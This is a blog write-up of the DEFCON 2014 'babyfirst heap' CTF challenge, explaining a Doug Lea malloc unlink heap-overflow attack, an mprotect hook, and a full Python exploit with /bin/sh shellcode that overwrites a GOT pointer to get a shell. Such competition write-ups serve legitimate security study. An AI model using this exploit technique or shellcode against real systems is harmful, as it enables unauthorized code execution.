본문 바로가기

Games/CTF

DEFCON 2014 babyfirst heap writeup

My teammate (yong-il) quickly solved this challenge during CTF

However I just got curious about the task and managed to solve it later in my local environment.


The main function says it is a Dougle Lee malloc exploit...! The binary simply allocates 20 objects with random size, except one (260byte). After, we overflow the heap chunk with size 260. Then everything is freed.





malloc seems complicated...




After some thought, I remembered the classic heap overflow exploit technique under glibc 2.3 and didn't bother to analyze the malloc algorithm. 


The important part of dougle Lee's malloc algorithm is like this...

First, the allocated chunks are formed in this way. (SIZE : size of chunk. PREV_INUSE : set if the PREVIOUS chunk is active, unset if the PREVIOUS chunk is freed)



The user gets Chunk+4 as the malloc return address(start of Live Data). However, the chunk header is formed with some member variables, and it differs depending on the chunk's status (allocated or freed). When a chunk is live, we can see only one member from the chunk header which is (SIZE|PREV_INUSE).

Since the chunk is always multiple of 8, the LSB of chunk size member is used to indicate "if the previous chunk is in use or not". This is the most important bit when we are exploiting malloc.

When a chunk is freed, the malloc allocator tries to merge two of the freed chunks and changes the linked list pointer of freed chunks...  In fact, the metadata of live chunks resides at a fixed bss section... but, when a chunk is freed, the metadata of free chunk simply reuses the already-allocated chunks body like this...




A freed chunk will be added into this linked list. So, what we want is fool the heap allocator to use our fake chunk.  We can do this by overwriting the "SIZE of the next LIVE chunk and PREV_INUSE bit of the next-next LIVE chunk to zero".



If we can overwrite the next chunk's Size "SMALLER", then, we can insert a fake chunk which indicates that our next chunk is already a freed chunk (by clearing the PREV_INUSE bit of fake chunk).

After doing this, when we free our First chunk, the UNLINK macro will use the PREV, NEXT pointer of our crafted freed chunk!, so, we can overwrite the arbitrary 4byte memory where ever we want. More detailed explanation can be found on phrack magazine.


Anyway, the un-linking step will trigger arbitrary memory overwrite.



I debugged the binary to see the allocation process and found that it happens at 0x80493f6.

Anyway, it was matter of time to overwrite an 4byte pointer. I used printf.got. because thats what used after heap overwriting.  However the binary had NX, so I had to check if there as an executable memory region. The malloc allocator already seems to use executable memory region with mprotect.



Rather than reversing the malloc, I simply hooked the mprotect ans confirmed its usage against memory address.


#define _GNU_SOURCE

#include <stdio.h>

#include<sys/types.h>

#include <dlfcn.h>

 

void* mprotect(void* addr, int size, int prot) {

        static void* (*real)(void*, int, int) = NULL;

        if (!real)

                real = dlsym(RTLD_NEXT, "mprotect");


printf("mprotect called at %p", addr);

        return real(addr, size, prot);

}

gcc -o hook.so hook.c -fPIC -shared -ldl
root@ubuntu:/var/www/tmp# LD_PRELOAD=./hook.so ./heap
Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
mprotect called at 0x85b8000[ALLOC][loc=85B8008][size=1246]
[ALLOC][loc=85B84F0][size=1121]
[ALLOC][loc=85B8958][size=947]
[ALLOC][loc=85B8D10][size=741]
[ALLOC][loc=85B9000][size=706]
[ALLOC][loc=85B92C8][size=819]
[ALLOC][loc=85B9600][size=673]
[ALLOC][loc=85B98A8][size=1004]
mprotect called at 0x85ba000[ALLOC][loc=85B9C98][size=952]
[ALLOC][loc=85BA058][size=755]
[ALLOC][loc=85BA350][size=260]
[ALLOC][loc=85BA458][size=877]
[ALLOC][loc=85BA7D0][size=1245]
[ALLOC][loc=85BACB8][size=1047]
[ALLOC][loc=85BB0D8][size=1152]
[ALLOC][loc=85BB560][size=1047]
[ALLOC][loc=85BB980][size=1059]
mprotect called at 0x85bc000[ALLOC][loc=85BBDA8][size=906]
[ALLOC][loc=85BC138][size=879]
[ALLOC][loc=85BC4B0][size=823]
Write to object [size=260]:

OK, now I confirmed that every malloc area is executable. So all I need to do is place a shellcode and overwrite the printf.got to point my malloc data. After some digging, I managed to get a shell :)




# final exploit

import sys, os, time

from struct import *

from socket import *


# chunk structure : [size|prev_use][prev][next]....

shellcode = '\xeb\x12\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80'


#[ALLOC][loc=80FF350][size=260]


''' game start! '''

s = socket(AF_INET, SOCK_STREAM)

s.connect( ('localhost', 33000) )

time.sleep(1)

r = s.recv(4096)

print r

sh = r.split('][size=260')[0][-7:]

print sh


'''

[ALLOC][loc=9E71058][size=755]

[ALLOC][loc=9E71350][size=260]

[ALLOC][loc=9E71458][size=877]

'''


next_size = int(r.split('size=260]\n')[1].split('[size=')[1][:3], 10)

print next_size


exit = 0x804c004

prev = exit-0x8

next = int(sh, 16)


p  = shellcode + 'A'*(260-len(shellcode))

p += pack('<I', 0x19)

p += pack('<I', prev)

p += pack('<I', next)

p += 'B'*16

p += pack('<I', next_size-0x18)

p += '\n'


print 'attach...'

raw_input()


s.send( p )


print s.recv(4096)


# got shell.

s.send('id\n')

print s.recv(4096)


'Games > CTF' 카테고리의 다른 글

hack.lu callgate writeup  (0) 2014.10.28
DEFCON 2014 sftp writeup  (0) 2014.05.23
DEFCON 2014 polyglot writeup  (0) 2014.05.21
DEFCON 2014 bbgp writeup  (2) 2014.05.21
DEFCON 2014 byhd writeup  (0) 2014.05.21